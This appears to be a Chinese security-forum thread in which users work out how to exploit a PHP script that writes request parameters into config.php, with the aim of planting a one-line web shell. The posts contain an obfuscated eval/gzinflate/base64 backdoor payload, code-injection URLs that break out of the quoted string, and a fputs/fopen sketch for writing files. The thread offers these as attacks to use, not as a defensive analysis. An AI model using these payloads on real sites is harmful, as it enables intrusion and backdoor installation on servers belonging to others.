[讨论]如何突破这段代码写入一句话[更新]
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])[color=#FF3300]这里先向楼下回帖的朋友道个歉,由于发帖时疏忽,没有仔细看代码,导致代码发错。[/color]
环境如下:
PHP中的magic_quotes_gpc为on
[color=#FF3300]原来发错的代码:[/color]
<?
$fp = @fopen("config.php", "w");
$myarrs = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php\n// Created ".date("Y-m-d H:i:s")."\n\n");
$forbidden_values = array('{', '}', '$');
foreach ($myarrs as $key => $value) {
$value = str_replace($forbidden_values, '', $value);
@fputs($fp, "// ".$Site_conF[$key][1]."\n\$S_conf[\"".$key."\"] = \"".str_replace('"', '\\"', $value)."\";\n\n");
}
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
} else {
print "<div align=\"center\"><strong>FAIL</strong></div>";
}
@fclose($fp);
?>
[color=#FF3300]现在需要突破的代码是:[/color]]
< ?
$fp = @fopen("config.php", "w");
$arrVar = $_REQUEST["conf"];
if (isset($fp)) {
@fputs($fp, "<?php \n# Created ".date("Y-m-d H:i:s")."\n\n");
foreach ($arrVar as $key => $value) {
@fputs($fp, "// ".$S_CONF[$key][1]."\n\$S_CONF[\"".$key."\"] = \"".htmlspecialchars($value)."\";\n\n");
}
@fputs($fp, "\n?>");
@fclose($fp);
print "<div align=\"center\"><strong>config_saved</strong></div>";
}
else {
print "<div align=\"center\"><strong>entryins_fail</strong></div>";
}
@fclose($fp);
?>
实现目的:在config.php里写入一句话,能成功连接。
[color=#FF3300]对原来发错的代码,由于它在CONN里的对单引号作了stripcslashes处理,所以,我的突破思路是用压缩方法 传递如下参数:[/color]
\";?>
<?php
eval(gzinflate(gzuncompress(base64_decode('eJzz1vU+czGgk/8DP1+nnqant17n1S1sDABh6QgQ'))))
?>
对于现在需要突破的这个代码,我仍无法解决,请大家讨论。 不在我能力范围之内,爱莫能助 [s:267] [s:265] 会PHP的朋友都来看看,看有方法突破不 [s:269] 好象也不在俺滴管辖范围内 本来这种写法是非常好的!!!赞个,但是他逻辑上存在点小问题导致可以轻易写shell,在你这个条件下
[code]
fuck.php?conf[a]=abc";phpinfo();//
[/code]
如果方便希望能说下这个脚本的名字
谢谢 可能没说到位,上面能证明可以用函数了,不过不允许用变量那么就简单了
fuck.php?conf[a]=abc";fputs(fopen(urldecode(")))//
自己发挥吧 仔细想写会发现他这个等于没过滤 :) 呵呵
有意思的脚本 给楼上的道个歉,我把代码发错了。 <?php
# Created 2007-11-30 19:27:51
//
$S_CONF["a"] = "abc\"phpinfo();//";
?>
好像真的不行,“会被过滤成\"!
页:
[1]